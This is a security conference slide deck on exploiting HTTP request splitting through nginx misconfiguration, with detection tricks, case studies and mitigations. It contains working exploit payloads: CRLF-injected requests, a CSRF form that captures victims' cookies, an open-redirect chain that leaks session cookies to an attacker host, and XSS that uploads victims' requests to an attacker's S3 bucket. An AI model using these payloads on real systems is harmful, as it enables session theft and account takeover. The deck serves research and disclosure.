HTTP Request Splitting
vulnerabilities exploitation
Speaker: Sergey Bobrov
@BlackFan
HTTP Splitting
Why is this still relevant in 2023?
▪ nginx is used as a frontend in ~30-50% of sites in the world
▪ it's not nginx vulnerability, it's misconfiguration
2
Nginx misconfiguration
Example of nginx variables that can contain CR LF characters
$uri - Normalized Request-URI value
$document_uri - $uri alias
Variables from regexp with an exclusive range
location ~ /docs/([^/]*)? { … $1 … } # vulnerable
location ~ /docs/(.*)? { … $1 … } # not vulnerable
3
Nginx misconfiguration
Functions that form HTTP request/response structure
rewrite, return, add_header, proxy_set_header, proxy_pass
Classic example (HTTP > HTTPS redirect)
return 302 [Link]
4
CRLF Injection (HTTP Response)
GET /%0D%0ASet-Cookie:%20x=x HTTP/1.1 HTTP/1.1 302 Moved Temporarily
Host: [Link] Date: Mon, 01 Jun 2023 [Link] GMT
Location: [Link]
Set-Cookie: x=x
5
CRLF Injection (HTTP Response)
http/1.1
http/2 http/1.1
6
CRLF Injection (HTTP Request)
GET /%20HTTP/1.1%0D%0AX:%20x HTTP/1.1 GET / HTTP/1.1
Host: [Link] X: x HTTP/1.1
Cookie: sessionid=xxx; Host: [Link]
Cookie: sessionid=xxx;
7
CRLF Injection (HTTP Request)
The exploitation and detection of the vulnerability depends on
what can be controlled in the request.
GET /api/[INJ]?foo=bar&baz=[INJ] HTTP/1.1
Host: backend
Cookie: sessionid=xxx;
X-Header: [INJ]
8
Detection methods
[Link] Any HTTP code
[Link] 400 Bad Request
GET / H HTTP/1.1
Host: [Link]
Cookie: sessionid=xxx;
9
Detection methods
[Link] Any HTTP code
[Link] 505 HTTP Version Not Supported
GET / HTTP/13.37
X: x HTTP/1.1
Host: [Link]
Cookie: sessionid=xxx;
10
Detection methods
[Link] Any HTTP code
[Link] 400 Bad Request
GET / HTTP/1.1
Host: x HTTP/1.1
Host: [Link]
Cookie: sessionid=xxx;
11
Detection methods
Vulnerability often is triggered before the authorization check
CRLF Injection Auth check
12
CRLF Injection (HTTP Response)
▪ Exploitation of non-exploitable bugs
▪ XSS via HTTP Header, via raw Request-URI
▪ Possibility to send two+ requests
▪ Potential HTTP Desync attacks
▪ Access to other backend vhosts
▪ Web Cache poisoning vulns
▪ WAF bypass
▪ Attacks that require custom headers
▪ Etc…
13
Case #1
[Link]
Case #1: [Link]
location ^~ /lite/api/ {
proxy_pass [Link]
}
GET /lite/api/%20HTTP/1.1%0D%0AX:%20x HTTP/1.1 GET /lite/api/ HTTP/1.1
Host: [Link] X: x HTTP/1.1
Cookie: Session_id=xxx; Host: [Link]
Cookie: Session_id=xxx;
15
Case #1: [Link]
What can an attacker control in HTTP request?
GET /lite/api/[INJ] HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
Connection: close
16
Case #1: [Link]
Adding custom HTTP headers
GET /lite/api/[INJ] HTTP/1.1
Arbitrary-Header: HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
Connection: close
17
Case #1: [Link]
Partial control of the Request-Path
/%252e%252e/ /%2e%2e/
18
Case #1: [Link]
Partial control of the Request-Path
GET /lite/api/%2e%2e/arbitrary/path HTTP/1.1
Arbitrary-Header: HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
Connection: close
19
Case #1: [Link]
Changing the HTTP method (CSRF-like)
POST /lite/api/%2e%2e/arbitrary/path HTTP/1.1
Arbitrary-Header: HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Connection: close
key=value
20
Case #1: [Link]
POST /lite/api/%2e%2e/arbitrary/path HTTP/1.1
Host: [Link]
param= HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
[…]
¶m2=value
21
Case #1: [Link]
POST /lite/api/%2e%2e/arbitrary/path HTTP/1.1
Host: [Link]
Cookie: Session_id=<attacker_session_id>;
param= HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
[…]
¶m2=value
22
Case #1: [Link]
Pros and cons of this type of vulnerability exploitation
▪ Exploitation of the vulnerability does not depend ▪ Samesite cookies
on the settings and privileges of the client
▪ Value of the CSRF token is known to the attacker
23
Case #1: [Link]
Email signature:
▪ Supports multiline value
▪ Has no limits on the range of
allowed characters
▪ Has no limit on the maximum
length of a value
24
Case #1: [Link]
POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1
Host: [Link]
Cookie: Session_id=<attacker_session_id>;
Content-Length: 5000
Content-Type: application/x-www-form-urlencoded
_ckey=<attacker_CSRF_token>&signature= HTTP/1.1
Host: [Link]
http
body
Cookie: yandexuid=[…]; Session_id=[…];
[…]
&x=padding[…5000…]padding
25
Case #1: [Link]
<form
action="[Link]
[Link]%20HTTP/1.1%0D%0AHost:[Link]%0D%0ACookie:Session_id=
<attacker_session_id>%3b%0D%0AContent-Length:5000%0D%0A
Content-Type:application/x-www-form-urlencoded%0D%0A%0D%0A
_ckey=<attacker_CSRF_token>&signature="
method="POST">
<input type="hidden" name="x" value="padding[…5000…]padding" />
<input type="submit" value="Submit request" />
</form>
26
Case #1: [Link]
POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1
Host: [Link]
Cookie: Session_id=<attacker_session_id>;
Content-Length: 5000
Content-Type: application/x-www-form-urlencoded
_ckey=<attacker_CSRF_token>&signature= HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
[…] signature parameter
contains only this data
&x=padding[…5000…]padding
27
Case #1: [Link]
POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1
Host: [Link]
Cookie: Session_id=<attacker_session_id>;
Content-Length: 5000
Content-Type: application/x-www-form-urlencoded
Symbol ";" like "&"
is the parameter separator
_ckey=<attacker_CSRF_token>&signature= HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
[…]
&x=padding[…5000…]padding
28
Case #1: [Link]
OK, cookie leak is not possible via
application/x-www-form-urlencoded
on this case.
But what about multipart/form-data?
29
Case #1: [Link]
POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1
Host: [Link]
[…]
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="_ckey"
<attacker_CSRF_token>
--xxx
Content-Disposition: form-data; name="signature"
PoC: HTTP/1.1
Host: [Link]
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--xxx%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--xxx--
padding[…5000…]padding
30
Case #1: [Link]
POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1
Host: [Link]
[…]
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="_ckey"
<attacker_CSRF_token>
--xxx signature parameter
Content-Disposition: form-data; name="signature" contains only this data
PoC: HTTP/1.1
Host: [Link]
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--xxx%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--xxx--
padding[…5000…]padding
31
Case #1: [Link]
POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1
Host: [Link]
[…]
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="_ckey"
X-Original-Uri
<attacker_CSRF_token> contains a boundary
--xxx
Content-Disposition: form-data; name="signature"
PoC: HTTP/1.1
Host: [Link]
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--xxx%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--xxx--
padding[…5000…]padding
32
Case #1: [Link]
POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1
Host: [Link]
[…]
Content-Type: multipart/form-data; boundary=x.x
--x.x
Content-Disposition: form-data; name="_ckey"
<attacker_CSRF_token>
--x.x
Content-Disposition: form-data; name="signature"
PoC: HTTP/1.1
Host: [Link]
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--x%2ex%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--x.x--
padding[…5000…]padding
33
Case #1: [Link]
Attacker Session_id
Client Session_id
34
Case #2
[Link]
Case #2: [Link]
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/[Link]?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass [Link]
GET /dna/payment/x%20HTTP/1.1%0D%0AX:x HTTP/1.1 GET /registered/[Link]?cmd=unifiedPayment&
Host: [Link] context=payment&native_uri=x HTTP/1.1
Cookie: Session_id=xxx; X:x HTTP/1.1
Host: [Link]
Cookie: Session_id=xxx;
36
Case #2: [Link]
The exploitation of the vulnerability is complicated by the static path
GET /registered/[Link]?cmd=unifiedPayment&context=payment&native_uri=x HTTP/1.1
CRLF: Injection HTTP/1.1
Host: [Link]
Cookie: Session_id=xxx;
37
Case #2: [Link]
What if we use HTTP Parameter Pollution?
GET /registered/[Link]?cmd=unifiedPayment&context=payment&native_uri=x
&cmd=foobar HTTP/1.1
CRLF: Injection HTTP/1.1
Host: [Link]
Cookie: Session_id=xxx;
38
Case #2: [Link]
The extra GET parameter didn't work, but the POST was successful
POST /registered/[Link]?cmd=unifiedPayment&context=payment&native_uri=x HTTP/1.1
CRLF: Injection HTTP/1.1
Host: [Link]
Cookie: Session_id=xxx;
Content-Type: application/x-www-form-urlencoded
cmd=foobar
39
Case #2: [Link]
Now we need to find a way to extract the data
sub cmd_unlockCamp :Cmd(unlockCamp)
:Description('разблокировака кампании')
:Rbac(Code => rbac_cmd_by_owners, ExceptRole => [media, superreader,
limited_support])
{
[...]
my %FORM = %{$_[0]{FORM}};
[...]
if($FORM{retpath}) {
return redirect($r, $FORM{retpath});
40
Case #2: [Link]
Yep, we will use Open Redirect
POST /registered/[Link]?cmd=unifiedPayment&context=payment&native_uri=x HTTP/1.1
CRLF: Injection HTTP/1.1
Host: [Link]
Cookie: Session_id=xxx;
Content-Type: application/x-www-form-urlencoded
cmd=unlockCamp&retpath=/\[Link]/
41
Case #2: [Link]
CRLF Injection
HTTP Parameter Pollution Leak httpOnly cookie Session_id
Open Redirect
42
Case #2: [Link]
POST /registered/[Link]?cmd=unifiedPayment&context=payment&native_uri=? HTTP/1.1
Host: [Link]
Cookie: Session_id=<attacker_session_id>;
Content-Type: multipart/form-data; boundary=wrw
Content-Length: 12000
[…]
--wrw
Content-Disposition: form-data; name="retpath"
/\[Link]/? HTTP/1.1
Host: [Link]
[…]
Cookie: Session_id=xxx;
--wrw--
padding[…12000…]padding
43
Case #2: [Link]
CRLF Injection
+
Open Redirect
/\[Link]? + Cookie
Session_id
[Link]
44
Case #2: [Link]
45
Case #2: [Link]
Cookie values can contain the # symbol, so the attacker's site needs to save
not only the request data, but also the [Link].
HTTP/1.1 302 Found
Connection: close
[…]
Location: /\[Link]? HTTP/1.0 […] Cookie: param=value#value; Session_id=[…];
46
Case #3
Amazon S3
Case #3: Amazon S3
location /s3/ {
proxy_pass [Link]
}
Frans Rosén
[Link]
48
Case #3: Amazon S3
GET /s3/[Link]%20HTTP/1.1%0d%0aHost:attacker-bucket%0d%0a%0d%0a HTTP/1.1
Host: [Link]
Cookie: sessionid=xxx;
GET /s3/[Link] HTTP/1.1
Host: attacker-bucket
HTTP/1.1
Host: [Link]
Cookie: session=xxx;
49
Case #3: Amazon S3
CRLF Injection
[Link] Amazon s3 company-bucket
public
/s3/[Link]
attacker-bucket
50
Case #3: Amazon S3
This is a great XSS example, but what if we could make it even better?
In fact, we control not only the content stored on S3, but also the bucket
settings
GET /s3/[Link] HTTP/1.1
Host: attacker-bucket
HTTP/1.1
Host: [Link]
Cookie: session=xxx;
51
Case #3: Amazon S3
Set the following bucket policy
{
"Version": "2012-10-17",
"Id": "Policy1687790232544",
"Statement": [
{
"Sid": "Stmt1687790230460",
"Effect": "Allow",
"Principal": "*",
"Action": [
"s3:PutObject",
"s3:GetObject"
],
"Resource": "arn:aws:s[Link]ttacker-bucket/*"
}
]
}
52
Case #3: Amazon S3
Now reuses existing XSS for PUT request
<script>
fetch(
'/s3/[Link]%20HTTP/1.1%0D%0AHost:attacker-bucket%0D%0AContent-Length:1000%0D%0A%0D%0A',
{
method: 'PUT',
body: 'x'.repeat(1000),
headers: {
'Content-Type': 'text/plain'
},
credentials: 'include'
}
)
</script>
53
Case #3: Amazon S3
Now reuses existing XSS for PUT request
PUT /s3/[Link] HTTP/1.1
Host: attacker-bucket
Content-Length: 1000
HTTP/1.1
Host: [Link]
Cookie: secret=value;
Content-Length: 1000
xxx[…1000…]xxx
54
Case #3: Amazon S3
[Link]
file
content
55
Case #3: Amazon S3
This exploitation of the vulnerability is relevant in HTTP Splitting on any
object storage. For example:
▪ VK Cloud Storage
▪ Yandex Object Storage
If the storage does not allow unauthorized file uploads, create AccessKey
and add HTTP header to the payloads.
▪ Authorization: AWS <access_key>:<signature>
▪ Date: <current_date>
56
Case #4
[Link]
Case #4: [Link]
proxy_pass [Link]
proxy_set_header Host $proxy_host;
proxy_set_header X-Yandex-Https yes;
GET /%20HTTP/1.1%0D%0AX:%20x HTTP/1.1 GET /chat/internal HTTP/1.1
Host: [Link] X: x HTTP/1.1
Host: [Link]
58
Case #4: [Link]
Any exploit attempts to move part of the HTTP request into the
HTTP body would return a 302 redirect
GET HTTP/1.1 302 Moved temporarily
/%20HTTP/1.1%0D%0AHost:[Link]%0D%0A%0D% […]
0A HTTP/1.1 Location: [Link]
Host: [Link]
59
Case #4: [Link]
Frontend can use custom headers that affect how the backend
handles the HTTP request
proxy_pass [Link]
proxy_set_header Host $proxy_host;
proxy_set_header X-Yandex-Https yes;
60
Case #4: [Link]
After forming the correct headers, this turned into a regular
XSS via Host
GET /%20HTTP/1.1%0aX-Yandex-Https:yes%0aHost:--%3E%3Cs%[Link]%0a%0a HTTP/1.1
Host: [Link]
61
Case #5
[Link]
Case #5: [Link]
Example when the backend supports HTTP pipelining
CRLF Injection
63
Case #5: [Link]
GET
/contests/%20HTTP/1.1%0d%0aHost:[Link]%0d%0a%0d%0aGET%20/%3cscript%3ealert([Link])
%3c/script%3e%20HTTP/1.1%0d%0aHost:%20xxx%0d%0aX: HTTP/1.1
Host: [Link]
GET /contests/ HTTP/1.1
404 Not Found
Host:[Link] Content-Type: text/html
GET /<script>alert([Link])</script> HTTP/1.1
Host: xxx
301 Moved Permanently
X: HTTP/1.1
Host: [Link]
64
Case #5: [Link]
▪ Sometimes an HTTP request
responded with two HTTP responses
▪ Second HTTP response was part
of the HTTP Body of the first
response
▪ Why? ¯\_(ツ)_/¯
65
Case #5: [Link]
66
Mitigation
Use $request_uri instead of $uri, $document_uri
In the exclusion ranges of the regular expression, add
whitespace characters (\s).
location ~ /docs/([^/]*)? { … $1 … } # vulnerable
location ~ /docs/([^/\s]*)? { … $1 … } # not vulnerable
67